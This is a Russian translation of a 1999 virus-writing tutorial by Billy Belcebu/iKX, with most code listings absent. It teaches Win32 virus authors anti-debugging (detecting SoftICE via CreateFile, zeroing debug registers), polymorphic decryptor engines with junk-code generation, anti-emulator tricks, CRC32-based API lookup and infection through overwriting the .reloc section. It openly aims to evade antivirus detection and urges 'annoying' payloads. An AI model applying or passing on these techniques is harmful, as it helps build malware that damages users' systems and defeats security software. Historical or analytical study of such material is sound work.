Наконец, вас ждет окончательный и прекрасный прием... Глобальное решение проблемы нахождения SoftICE в средах Win9x и WinNT! Это очень легко, 100% базируется на API и без всяких "грязных" трюков, не идущих на пользу совместимости. И ответ спрятан не так глубоко, как вы могли бы подумать... ключ в API-функции, которую вы наверняка использовали раньше: CreateFile. Да, эта функция... разве не прекрасно? Ладно, мы должны попытаться сделать следующее:

• SoftICE для Win9x : "\.\SICE"

• SoftICE для WinNT : "\.\NTICE"

Если функция возвращает нам что-то, отличное от -1 (INVALID_HANDLE_VALUE), это значит, что SoftICE активен! Далее идет демонстрационная программа:

Это действительно работает, поверьте мне :). Тот же метод можно применить к другим враждебным драйвером, просто сделайте небольшое исследование на этот счет.

Win9x: Убить хардверные брикпоинты отладчика

Если ваc беспокоят отладочные регистры (DR?), мы сталкиваемся с небольшой проблемой: они привилегированны в WinNT. Прием состоит в следующей простой вещи: обнулить DR0, DR1, DR2 и DR3 (они наиболее часто используются отладчиками в качестве хардверных брикпоинтов). Поэтому следующим кодом вы доставите отладчику немного неприятностей:

Хаха, разве это не смешно? :)

Заключительные слова

Я надеюсь, что вы сможете использовать эти несколько простых антиотладочных приемов в ваших вирусах без особых проблем.

Многие люди сказали мне, что самым слабым местом в моем путеводителе под MS-DOS была глава, посвященная полиморфизму (ммм, я написал ее, когда мне было 15, и тогда я знал ассемблер только 1 месяц). По этой причине я решил попытаться написать новую главу абсолютно с нуля. С тех пор я прочел много различных документов о полиморфизме и больше всего меня потряс Qozah'овский. Хотя он очень простой, все концепции полиморфизма, которые необходимы для создания полиморфных движков, объясняются в нем очень хорошо (если вы хотите прочитать его, скачайте DDT#1 с какого-нибудь хорошего VX-сайта). В некоторых частях этой главы я буду делать пояснения для полных ламеров, поэтому если у вас уже есть основные знания, пропустите их!

Введение Основная причина существования полиморфизма - это, как обычно, существование антивирусов. Во времена, когда не было полиморфных движков, антивирусы использовали простую сканстроку для обнаружения вирусов и самое великое, что тогда было - это зашифрованные вирусы. В один день у одного вирмейкера родилась замечательная идея. Я уверен, что он подумал: "Почему бы не сделать несканируемый, по крайней мере нынешними (т.е. тогдашними - прим. пер.) средствами"?. Так родился полиморфизм. Полиморфизм является попыткой убрать все повторяющиеся байты в единственной части зашифрованного вируса, которая может быть просканирована: в декрипторе. Да, полиморфизм означает построение изменяющихся раз от раза декриптор вируса. Хех, просто и эффективно. Это основная концепция: никогда не строить два одинаковых расшифровщика (в идеале), но выполнять одно и то же действие. Это естественное расширение техники шифрования: декрипторы недостаточно коротки, чтобы нельзя было использовать сканстроку, но с полиморфизмом она становится бесполезна. Уровни полиморфизма

У каждого уровня полиморфизма есть свое имя, данное ему людьми из AV-индустрии. Давайте посмотрим небольшую цитату из AVPVE.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Существует система деления полиморфных вирусов на уровни, согласно сложности кода декриптора этих вирусов. Эта система была представлена д-ром Аланом Соломоном, а затем улучшена Весселином Бонтчевым.

Уровень 1: У вируса есть набор декрипторов с постоянным кодом, один из которых выбирается при заражении. Такие вирусы называеются "полуполиморфными" или "олигоморфными".

Примеры: "Cheeba", "Slovakia", "Whale".

Уровень 2: декриптор вируса содержит одну или более постоянную инструкцию, остальное изменяется.

Уровень 3: декриптор содержит неиспользуемые функции - "мусор", такой как NOP, CLI, STI и так далее.

Уровень 4: декриптор использует равнозначные инструкции и изменяет их порядок. Алгоритм расшифровки остается неизменным.

Уровень 5: используются все вышеперечисленные техники, алгоритм расшифровки меняется, возможно неоднократное шифрование кода вируса и даже частичное шифрование кода декриптора.

Уровень 6: пермутирующие вирусы. Основной код вируса также меняется, он поделен на блоки, которые меняют свое местоположение при заражении. При этом вирус продолжает работать. Некоторые вирусы могут быть незашифрованны.

У такого разделения есть свои недостатки, так как основной критерий - это возможность детектирования вируса согласно коду генератора с помощью условной техники вирусных масок:

Уровень 1: чтобы обнаружить вирус достаточно иметь несколько масок

Уровень 2: обнаружение вируса производится с помощью маски, используя "wild card'ы".

Уровень 3: обнаружение вируса производиться с помощью маски после удаления "мусорных" инструкций.

Уровень 4: маска содержит несколько версий возможного кода, то есть он становится алгоритмичным

Уровень 5: невозможность обнаружения вируса с помощью масок.

Недостаточность такого деления продемонстрирована в вирусе третьего уровня полиморфизма, который называется соответствующим образом - "Level3". Этот вирус, будучи одним из самых сложных полиморфных вирусов, попадает в третью категорию, потому что у него постоянный алгоритм расшифровки, предшествуемый большим количеством мусорных инструкций. Тем не менее, в этом вирусе алгоритм генерации мусора близок к совершенству: в коде декриптора можно найти почти все инструкции i8086.

Если делить вирусы на уровни с точки зрения антивирусов, использующие системы автоматической расшифровки кода вирусов (эмуляторов), тогда это деление будет зависеть от сложности кода. Другие техники обнаружения вирусов также возможны, например, расшифровка с помощью основных законов математики и так далее.

Поэтому, на мой взгляд, деление будет более объективным, если кроме вирусной маски в расчет будут приниматься другие параметры.

1. Степерь сложности полиморфного кода (процент всех инструкций процессора, которые можно встретить в коде декриптора) 2. Использование техник антиэмуляции 3. Постоянность алгоритма расшифровки 4. Постоянность размера декриптора

Я не буду объяснять эти вещи более детально, поскольку в результате это заставить вирмейкеров создавать монстров подобного рода.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Ха-ха, Евгений. Я сделаю! ;) Разве не приятно, когда один из AVеров делает чужую работу? :)

Как я могу сделать полиморф?

Во-первых, вы должны представлять себе, как выглядит расшифровщик. Например:

Очень простой пример, да? Ладно, здесь у нас шесть блоков (каждая инструкция - это блок). Представьте, как много у вас возможностей сделать этот код другим:

- Изменять регистры - Изменять порядок первых трех инструкций - Использовать разные инструкции, чтобы делать одно и то же - Вставить ничего не делающие инструкции - Вставить мусор и так далее

Это основная идея полиморфизма. Давайте посмотрим, что может сгенерировать простой полиморфный движок на основе того же декриптора:

Вы уловили идею? Конечно, поймать антивирусу подобный декриптор не будет слишком трудно (хотя и значительно труднее, чем незащищенный вирус). Здесь можно сделать много улучшений, поверьте мне. Я думаю, что вы уже поняли, что в вашем полимофном движке нам понадобятся разные процедуры: одна для создания "легитимных" инструкций декриптора, а другая - для создания мусора. Это основная идея написания полиморфных движков. С этого момента я попытаюсь объяснить все это настолько хорошо, насколько могу.

Очень важная вещь: ГСЧ

Да, наиболее важная вещь полиморфного движка - это генератор случайных чисел ака ГСЧ. ГСЧ - это кусок кода, который возвращает случайное число. Далее идет пример типичного ГСЧ под DOS, который работает также под Win9X, даже под Ring-3, но не в NT.

Это возвратит верхнем слове EAX ноль, а в нижнем - случайное значение. Но это не очень мощный ГСЧ... Нам нужен другой... и это остается на вас. Единственное, что я могу сделать для вас - это помочь вам узнать, насколько мощен ваш генератор с помощью прилагаемой маленькой программы. Она "рипнута" из полезной нагрузки Win32.Marburg (GriYo/29A), и тестирует ГСЧ этого вируса. Конечно, этот код был адаптирован и почищен, так чтобы он легко компилировался и запускался.

Интересно, по крайней мере мне, смотреть за тем, как ведут себя различные арифметические операции :).

Основные концепции полиморфного движка

Я думаю, что вы должны уже знать, то что я собираюсь объяснить, поэтому если вы уже писали полиморфные движки или знаете, как его создать, я рекомендую вам пропустить эту часть.

Ладно, прежде всего мы должны сгенерировать код во временный буфер (обычно где-то в куче), но вы также можете зарезервировать память с помощью функций VirtualAlloc или GlobalAlloc. Мы должны поместить указатель на начало этого буфера, обычно это регистр EDI, так как он используется семейством инструкций STOS. В буфер мы будем помещать байты опкодов. Ок, ок, я приведу небольшой пример.

Скомпилируйте предыдущий исходник и посмотрите, что произойдет. А? Он не делает ничего, я знаю. Но вы видите, что вы сгенерировали код, а не просто написали его в исходнике, и я продемонстрировал вам, что вы можете генерировать код из ничего. Подумайте о возможностях - вы можете генерировать полезный код из ничего в буфер. Это базовая основа полиморфных движков - так и происходит генерация кода расшифровщика. Теперь представьте, что мы хотим закодировать что-нибудь вроде следующего набора инструкций:

Соответствено, код для генерации декриптора с нуля будет примерно следующим:

Ладно, так вы сгенерируете нужный вам код, но, надеюсь, вы поняли, что добавить ничего не делающие инструкции между полезными очень легко. Используется тот же метод. Вы можете поэкспериментировать с однобайтовыми инструкциями, чтобы оценить их возможности.

Хех, я сделал полиморфизм слабого 3-его уровня, склоняющегося ко 2-ому ;) Йоу! Обмен регистров будет объяснен позже вместе с формированием кодов. Цель этой маленькой подглавы выполнена: вы должны были получить общее представление о том, что мы хотим сделать. Представьте, что вместо однобайтовых инструкций вы используете двухбайтовые, такие как PUSH REG/POP REG, CLI/STI и так далее.

Генерация "настоящего" кода

Давайте взглянем на наш набор инструкций.

Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее...

- Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov:

или

или

или

и так далее, и так далее...

Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны.

- Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению.

- Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора:

Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, использумых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.

Генерация мусора

Качество мусора на 90% - качество вашего полиморфного движка. Да, я сказал "качество", а не "количество", как вы могли подумать. Во-первых, я покажу вам две возможности, которые у вас есть при написании полиморфного движка:

- Генерирование реалистичного кода, похожего на "законный" код приложения. Например, движки GriYo.

- Генерировать так много инструкций, как это возможно, похожего на поврежденный файл (с использованием сопроцессора). Например, MeDriPoLen Mental Driller'а.

Ок, тогда давай начнет:

¦ Общее для обоих случаев:

- CALL'ы (и CALL'ы внутри CALL'ов внутри CALL'ов...) множеством различных путей - Безусловные переходы

¦ Реалистичность:

"Реалистичное" - это то, что выглядит как настоящее, хотя и может не являться таковым на самом деле. Я хочу задать вам вопрос: что вы подумаете, если увидите огромное количество кода без CALL'ов и JUMP'ов? Что, если после CMP не будет условного перехода? Это практически невозможно, о чем знаем и мы и AV. Поэтом мы должны ументь все эти виды мусорных структур:

- CMP/Условные переходы - TEST/Условные переходы - Всегда использовать оптимизированные опкоды при работе с EAX - Работа с памятью - Генерирование структур PUSH/мусор/POP - Использование очень маленького количества однобайтовых инструкций (если вообще их использовать)

¦ Mental Drillism... гхрм... Поврежденный код выглядит следующим образом:

Декриптор наполнен всякой чепухой, опкодами не похожие на код, ничего не делающими инструкциями сопроцессора и, конечно, используется так много опкодов, как это возможно.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Ладно, теперь я попытаюсь объснить все этапы генерации кода. Во-первых, давайте начнем с того, что относится к CALL'ам и безусловным переходам.

• Что касается первого, это очень просто. Вызов подпрограмм можно осуществить разными путями:

Конечно, вы можете смешивать эти способы, получив, как результат множество способов сделать подпрограмму внутри декриптора. Конечно, вы можете сделать рекурсию (о чем я еще буду говорить в дальнейшем), должны быть CALL'ы внутри других CALL'ов и это все внутри еще одного CALL и так далее... Уфф. Сплошная головная боль.

Между прочим, будет неплохо сохранять смещения некоторых из этих процедур и вызывать их где-нибудь в сгенерированном коде.

• Безусловные переходы - это тоже очень легко, так как нам не нужно заботиться об инструкциях между переходом и тем, куда он переходит - туда мы можем вставлять всякий мусор.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь я собираюсь обсудить реалистичность кода. GriYo можно назвать автором лучших движков в этой области; если вы видели движки Marburg'а или HPS, вы поймете, что несмотря на их простоту, GriYo стремится к тому, чтобы код выглядел как можно более настоящим, и это AV бесятся, когда пытаются разработать надежный алгоритм против таких движков. Ок, давайте начнем с основных моментов:

• Со структурой 'CMP/Условный переход' все понятно, потому что никогда не следует использовать сравнение без последующего условного перехода... Ок, но попытайтесь сделать переходы с ненулевым смещением, сгенерируйте какой-нибудь мусор между условным переходом и смещением, куда будет передан контроль (или не будет), и код станет менее подозрительным в глазах анализатора.

• То же самое касается TEST, но использовать следует JZ или JNZ, потому что, как вам известно, TEST влияет только на нулевой флаг.

• Очень легко сделать ошибку при использовании регистров AL/AX/EAX, так как для них существуют специальные оптимизированные опкоды. В качестве примеров могут выступать следующие инструкции:

ADD, OR, ADC, SBB, AND, SUB, XOR, CMP и TEST (Непосредственное значение в регистр).

• Касательно адресов памяти - хорошим выбором будет получить по крайней мере 512 байтовв зараженном файле, поместить их где-инбудь в вирусе и сделать доступными для чтения и записи. Постарайтесь использовать кроме простого индексирования еще и двойное, и если ваш разум может принять это, попытайтесь использовать двойное индексирование с умножением, что-нибудь вроде следующего [ebp+esi*4]. Это не так сложно, как можно подумать, поверьте мне. Вы также можете делать перемещения в памяти с помощью инструкции MOVS, также используйте STOS, LODS, CMPS... Можно использовать все строковые операции, все зависит от вас.

• Структуры PUS/TRASH/POP очень полезны, потому что их легко добавить в движок, и они дают хорошие результаты, в то время как это нормальная структура в законопослушной программе.

• Если количество однобайтных инструкций слишком велико, это может выдать наше присутствие AV или люботному человеку. Учтите, что нормальные программы используют их не так часто, поэтому вполне возможно, что лучше добавить проверку для того, чтобы избежать их чрезмерного использования (мне кажется, что примлимым соотношением будет 1 однобайтовая инструкция на каждые 25 байтов).

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Дальше идет немного менталдриллизма :).

• Вы можете использовать следующие 2-х байтовые инструкции сопроцессора в качестве мусора без каких-либо проблем:

f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

Просто поместите в начало вируса эти две инструкции, чтобы сбросить сопроцессор:

Генерация инструкций

Вероятно, это самое важное в полиморфизме: отношения, существующие между одной и той же инструкции с разными регистрами или между разными инструкциями одного семейства. Отношения между ними становятся понятными, если мы преобразуем значения в двоичный формат. Но сначала немного полезной информации:

Я думаю, что моя главная ошибка во время написания моего предыдущего путеводителя заключалась в той части, где я описывал структуру опкодов и тому подобное. Поэтому сейчас я объясню часть того, что вам придется делать самим, так же, как когда я писал свой полиморфный движок. Возьмем в качестве примера опкод XOR...

Видите различие? Я пишу инструкции, которые мне нужны, использую дебуггер и смотрю, что изменяется раз от раза. Вы можете видеть, что изменился второй байт. Теперь самая забавная часть: переведите эти значения в двоичную форму.

Видите, что изменилось? Последние три бита, верно? Ок, теперь переходим к регистрам. Как вы поняли, изменяются три последних бита согласно используемому регистру. Итак...

Просто попытайтесь поместить другое двоичное значение в эти три бита и вы увидите, как изменяется регистр. Но будьте осторожны... не используйте значение EAX (000) с этим опкодом, так как и у всех арифметических операций, у xor есть специальный опкод, оптимизированный для EAX. Кроме того, если вы используете такое значение регистра, эвристик запомнит это (хотя этот опкод будет прекрасно работать).

Поэтому отлаживайте то, что хотите сгенерировать, изучайте взаимоотношения между ними и стройте надежный код для генерирования чего бы то ни было. Это очень легко!

Рекурсивность

Это один из важнейших моментов вашего полиморфного движка. Рекурсия должна иметь ограничение, но в зависимости от этого ограничения отлаживать код будет гораздо труднее (если лимит достаточно высок). Давайте представим, что у нас есть таблица со всеми смещениями всех генераторов мусора:

И представьте, что у вас есть следующая процедура для выбора между ними:

Представьте, что внутри процедуры 'GetGarbage' вызываются инструкции, генерирующие вызовы, а внутри них снова вызывается 'GenGarbage', а внутри нее снова вызывается 'GenerateCALL' и снова, и снова (в зависимости от вашего ГСЧ), поэтом у вас будут CALL'ы внутри CALL'ов внутри CALL'ов... Я сказал ранее, что эта штука с ограничением нужна была для того, чтобы избежать проблем со скоростью, но это можно легко решить с помощью новой процедуры 'GenGarbage':

Таким образом, наш движок сможет сгенерировать огромное количество одурачивающего противника кода, полного вызовов и всего в таком роде ;). Конечно, это также применимо к PUSH и POP :).

Заключение

Ваш полиморфный движок скажет о вас все как о кодере, поэтому я не буду обсуждать это далее. Просто сделайте это сами вместо копирования кода. Только не делайте типичный движок с простой шифрующей операцией и примитивным мусором вроде MOV и т.д. Используйте все ваше воображение. Например, есть много видов вызовов, которые можно сделать: три стиля (что я объяснял выше), а кроме этого, вы можете генерировать кадры стека, PUSHAD/POPAD, передавать параметры им через PUS (а после использовать RET x) и много другое. Будьте изобретательны!

В этой главе я хочу обсудить несколько техник, которые не заслуживают того, чтобы каждой из них выделили по отдельной главе, но тем не менее и полностью забыть о них нельзя :).

• SEH

• Мультитредность

• CRC32 (IT/ET)

• Антиэмулятор

• Перезапись секции .reloc

Structured Exception Handler

SEH - это очень классная фича, которая есть во всех средах окружения Win32. Очень легко понять, что она делает: если происходит (general protection fault (сокращенно GPF), контроль автоматически передается текущему SEH-обработчику. Вы видите, насколько это может быть полезным? Если что-то пойдет не так, это позволит вашему вирусу оставаться незамеченным :). Указатель на SEH-обработчик находится в FS:[0000]. Поэтому вы можете легко поместить туда ваш собственный SEH-обработчик (но не забудьте сохранить старый!). Если произойдет ошибка, контроль будет передан вашему SEH-обработчику, но стек накроется. К счастью, Micro$oft помещает стек в том виде, в каком он был до установки нашего SEH-обработчика, в ESP+08 :). Поэтому нам надо будет просто восстановить его и поместить старый SEH-обработчик на его старое место :). Давайте посмотрим небольшой пример использования SEH:

Как было показано в главе "Антиотладка под Win32", у SEH есть еще полезные применения :). Он одурачивает большинство отладчиков уровня приложения. Для облечения работы по установке нового SEH-обработчика есть следующие макросы, которые делают это за вас (hi Jacky!):

Код, приведенный выше, будет выполняться после макроса 'rseh' вместо прерывания процесса. Это понятно? :)

Мультитредность

Когда мне сказали, что в среде Win32 это очень легко сделать, мне пришло в голову, что это можно использовать для различных целей: выполнение кода во время выполнения другого кода (тоже из нашего вируса). Это было бы очень полезно, так как сэкономит вам время :).

Ок, основное назначение мультизадачной процедуры следующее:

1. Создайте соответствующую ветвь кода, которую вы хотите запустить

2. Подождите, пока дочерний процесс закончится в коде родительского процесса

Это кажется трудноватым, но здесь есть две API-функции, которые могут нас спасти. Их имена: CreateThread и WaitForSingleObject. Давайте посмотрим, что об этих функция говорит справочник по Win32 API.

Если этого для вас недостаточно, или вы не понимаете ничего, что написано в описании функций, вот ASM-пример.

Если вы протестируете вышеприведенный код, вы увидите, что если вы кликните по кнопке 'Accept' в дочернем процессе, то вам придется кликнуть также по 'Accept' родительского процесса, но если вы закроете родительский процесс, оба messagebox'а будут закрыты. Если родительский процесс умирает, все порожденные им процессы (здесь и далее до конца данного подраздела Billy употребляет слово 'процесс' в значении 'тред' - прим. пер.) также умирают. Но если умрет дочерний процесс, родительский выживет.

Таким образом с помощью WaitForSingleObject вы можете контролировать оба процесса - родительский и дочерний. Представьте себе следующие возможности: поиск по директориям в поисках определенного файла (например, MIRC.INI), и в то же время генерация полиморфного декриптора и распаковка дроппера... Вау! ;)

Смотрите туториал Benny о тредах и фиберах (29A#4) (есть на http://www.wasm.ru - прим. пер.).

CRC32 (IT/ET)

Мы все знаем (по крайней мере, я надеюсь на это) как написать движок поиска API-функций. Это довольно лекго, и существует множество туториалов из которых вы можете выбирать (туториалы JHB, Lord Julus'а, этот туториал...), просто найдите один из них и изучите. Но как вы уже поняли, это займет много места в вашем вирусе (из-за имен функций). Как решить эту проблему, если вы хотите написать маленький вирус?

Решение: CRC32

Я верю, что первым эту технику использовал GriYo в своем потрясающем вирусе Win32.Parvo (исходники которого еще не зарелизены). Вместо поиска совпадающих по именам функций он получает их CRC32 и сравнивает с теми, которые заложены в нем. Если происходит совпадение, то дальше все как обычно. Ок, ок... прежде всего вам нужно погладеть на код, получающий CRC32 :). Давайте возьмем код Zheng[i, переработонный сначала Vecna, а потом мной (оптимизировал пару байтов) ;).

Хорошо, теперьа мы знаем, как получить этот чертов CRC32 определенной строки и/или кода. Но вы ждете здесь другого... хехехе, да! Вы ждете код движка поиска API-функций :).

Далее следует эквивалентный код, но работающий с таблицей импортов. Таким образом вы сможете написать перпроцессный резидент с помощью одних только CRC32 имен API-функций ;).

Вы счастливы? Это рульно и легко! И, конечно, вы можете избежать возможных подозрений пользователя относительно вашего вируса (если то не зашифрован), так нет видимых имен API-функций :). Далее я перечеслю CRC32 некоторых API-функций (включая NULL в конце имени), но если вы захотите узнать CRC32 другой функции, то вы сможете это сделать с помощью маленькой программки, исходник которой я также прилагаю.

CRC32 некоторых API-функций:

Вам нужен CRC32 другой функции?

Это вполне возможно, поэтому я прилагаю исходник маленькой, но эффективной программы, которую я сделал сам для себя. Надеюсь, что вам она также будет полезной.

Круто, правда? :)

Антиэмуляторы

Как и многие другие части этого документа, эта маленькая глава является совместным проектом между мной и Super'ом. Далее следует небольшой список того, что необходимо знать для обмана AV'ишных эмуляторов, как и некоторых небольших отладчиков. Наслаждайтесь!

- Генерирование ошибок с помощью SEH. Пример:

- Использование сегментного префикса CS. Например:

- Использование RETF. Пример:

- Игра с DS. Пример:

или даже лучше:

или еще лучше:

- Детектирование эмулятора NODiCE с помощью трюка PUSH CS/POP REG :

- Использование недокументированных опкодов:

- Использование тредов и/или фиберов

Я надеюсь, что все это окажется для вас полезным :).

Перезапись секции .reloc

Это очень интересная тема. Секция '.reloc' полезна только тогда, когда ImageBase PE-файла меняется в силу какой-либо причины, но так как это в 99.9% случаев не происходит, она не нужна. А так как '.reloc' секция очень часть довольно велика, почему бы не хранить там наш вирус? Я предлагаю вам прочитать туториал b0z0 в Xine#3, который называется "Идеи и теории относительно заражения PE", так как в нем содержится много интересной информации.

Если вы хотите перезаписать секцию релокейшенов, сделайте слудующее:

В заголовке секции:

• В качестве нового VirtualSize установите размер вируса + его кучу

• В качестве нового SizeOfRawData установите выравненный VirtualSize

• Очистите PointerToRelocations и NumberOfRelocations

• Измените имя '.reloc' на какое-нибудь другое.

Входной точкой вируса будет VirtualSize секции. В некоторых случаях это также не заметно (в случае не очень больших вирусов), так как данная секция обычно очень большая.

Приложение 1: Полезная нагрузка

Поскольку мы работаем с графической OS, наша полезная нагрузка может быть весьма впечатляющей. Конечно, я не хотел бы больше видеть такие виды полезной нагрузки, которую продемонстрировали CIH и Kriz. Лучше взгляните на Marburg, HPS, Sexy2, Hatred, PoshKiller, Harrier и многие другие вирусы. Они действительно рулят. Разумеется, стоит взглянуть на вирусы с несколькими нагрузками, такими как Girigat и Thorin.

Просто подумайте о том, что пользователь не заметит присутствие вируса, пока вы сами не дадите ему знать об этом. Поэтому полезная нагрузка - это своего рода отображение всей вашей работы.

Есть много вещей, который вы можете сделать: сменить обои, изменить некоторые системные строки (как мой Legacy), вы можете показать ему веб-страницы, вы можете вывести что-нибудь на экран из-под Ring-0 (как Sexy2 и PoshKiller) и так далее. Просто исследуйте немного справочник по Win32 API. Попытайтесь сделать вашу нагрузку как можно более назойливой :).

Приложение 2: Об авторе

Хей :). Я решил посвятить эту секцию самому себе. Можете назвать меня эгоистичным, высокомерным или надменным. Я знаю, что я таковым не являюсь :). Я просто хочу вам рассказать немного о человеке, который пытался научить вас полезным вещам с помощью данного туториала (Billy Belcebu имеет в виду себя - прим. пер.). Я 16-летний парень из Испании. У меня есть собственный взгляд на мир, собственные политические идеи. Я верю в идеалы, и я думаю, что мы можем сделать что-нибудь, чтобы спасит наше больное общество. Я не хочу жить там, где деньги котируются превыше жизни (любой: людей, зверей, овощей (хмм... - прим. пер.)), где понятием демократии извращается людьми из правительства (это не только проблема Испании, но также и других стран - США, Великобритании, Франции и т.д.). Демократия (я думаю, что коммунизм был бы лучше (спасибо, не надо, уже наелись - прим. пер.), но если нет ничего лучше демократии...) всем жителям страны выбирать свое будущее. Брр, я уже устал писать подобные вещи, это все равно, что говорить со стеной :).

Ок, ок, я лучше немного поговорю о своей работе. Я создатель следующих вирусов:

И я написал несколько туториалов, но я не буду перечислять их здесь :).

В настоящее время я являюсь членом группы iKX. Как вы знаете, iKX расшифровывается как International Knowledge eXchange. В прошлом я был организатором DDT. Я считаю себя антифашистом, защитником прав человека, антимилитаристом и врагом всех, кто обижает женщин и маленьких детей. Я верю только в себя, не верю в какую-либо религию и фанатизм.

Также важную роль (кроме друзей) в моей жизни играет музыка. Во время написания данных строк я, как обычно, слушаю музыку :).

Для получения большей информации обо мне и моих релизах, посетите мою домашнюю страницу.

Напоследок

Еще один туториал подошел к концу... В какой-то мере его было немного скучно писать (хей, я человек, я предпочитаю программировать, а не писать), но во мне всегда жива надежда, что у того, кто будет читать результаты моих трудов, возникнут новые идеи. Как я уже сказал в введении, почти весь код, приведенный в данном туториале, написан мной (в отличии от того, что было в DOS'овском путеводителе). Я надеюсь, что это поможет вам.

Я знаю, что не затронул некоторых вещей, например заражение с помощью добавления новой секции или технику "Call Gate" или "вставка VMM" для перехода в Ring-0. Я всегда пытался сделать туторилы как можно проще. Теперь вы можете решить, было ли это правильным выбором или нет. Время покажет.

Этот документ посвящен людям, которые помогали мне, когда я делал свои первые шаги в программировании под Win32: zAxOn, Super, nIgr0, Vecna, b0z0, Ypsilon, MDriller, Qozah, Benny, Jacky Qwerty (не доброльная помощь, но тем не менее...), Lord Julus (да, я многому научился из его туториалов!), StarZer0 и многих других. Конечно, также заслуживают упоминания Int13h, Owl, VirusBuster, Wintermute, Somniun, SeptiC, TechnoPhuk, SlageHammer и, конечно, вы - мой читатель. Это было написано для вас!

- Mejor morir de pie que vivir arrodillado - (Ernesto "Che" Guevara)

- Лучше умереть, стоя в полный рост, чем жить, стоя на коленях - (Эрнесто "Че" Гевара)

Валенсия, 6 сентября 1999.

(c) 1999 Billy Belcebu/iKX

В этой статье предполагается, что вы знакомы с основами создания полиморфных движков, и у вас должны быть неплохие знания о генераторах декрипторов и их создании (это не для новичков! ;) )

В этой статье рассказывается о win32-движках. Я не очень хорошо знаком с вирусами под Linux/Unix, но думаю, что идеи, излагаемые в этой статье могут быть проэкстраполированы на эти операционные системы.

Эта статья была написана для тех, кто сделал свой полиморфный движок и хочет улучшить свои знания и свою технику, делая еще более лучшие полиморфные движки. Я должен предупредить, что техники, о которых пойдет разговор, требуют очень много времени (ошибка при кодинег, независимо от того, маленькая она или большая, может привести к возникновению огромных ошибок, которые будет очень трудно отследить или которые вылезут в последний момент).

Ок, начнем. Я попытался хорошо организовать материал статьи и приводить ясные объснения, но иногда вам может быть трудно меня понять. Просто исходите из того, что я не эксперт в написании статей, я делаю только то, что могу :).

Многие люди до сих пор верят в старое правило виркодинга: декрипторы должны быть маленькими. Это правило было верно во времена 40 меговых жестких дисков, но сейчас оно уже устарело. Сейчас у среднего пользователя многогиговый винт, и он/она не знают, сколько на самом деле сейчас свободного места на диске. Поэтому мы можем делать огромные вирусы (10 килобайт или больше) без опасений, что нас обнаружат. Мы можем применить это и декрипторам. Почему бы не сгенерировать 4-х киловый декриптор? Мы можем это сделать и более того - мы чуть ли не обязаны сделать это (100 байтный декриптор для нынешних антивирусных эмуляторов не представляет никакой проблемы). Но мы должны сделать хороший генератор мусора, чтобы антивирусным программ было труднее обнаружить вирус с помощью различных алгоритмических подходов или эвристических техник.

Другой плюс больших декрипторов, это то, что эмулятор не сможет с ходу определить, декриптор это или нет. Килобайта мусора в начале декриптора будет достаточно, но учтите, что чем дешевле процессоры, тем меньше времени эмуляторам потребуется для анализа. Мусор выполняется очень быстро во время нормального выполнения, но он может значительно "напрячь" эмулятор. Чем больше мусора вы поместите, тем больше времени потребуется эмулятору и тем меньше вероятность, что эмулятор найдет расшифрованный вирус. Ваш мусор должен быть "корректен", чтобы не сработала эвристика. Также вы должны соблюдать баланс между количеством и качеством кодогенерации (помещение 20 килобайт сложного мусора может замедлить начальную инициализацию приложения, что может привлечь внимание пользователя).

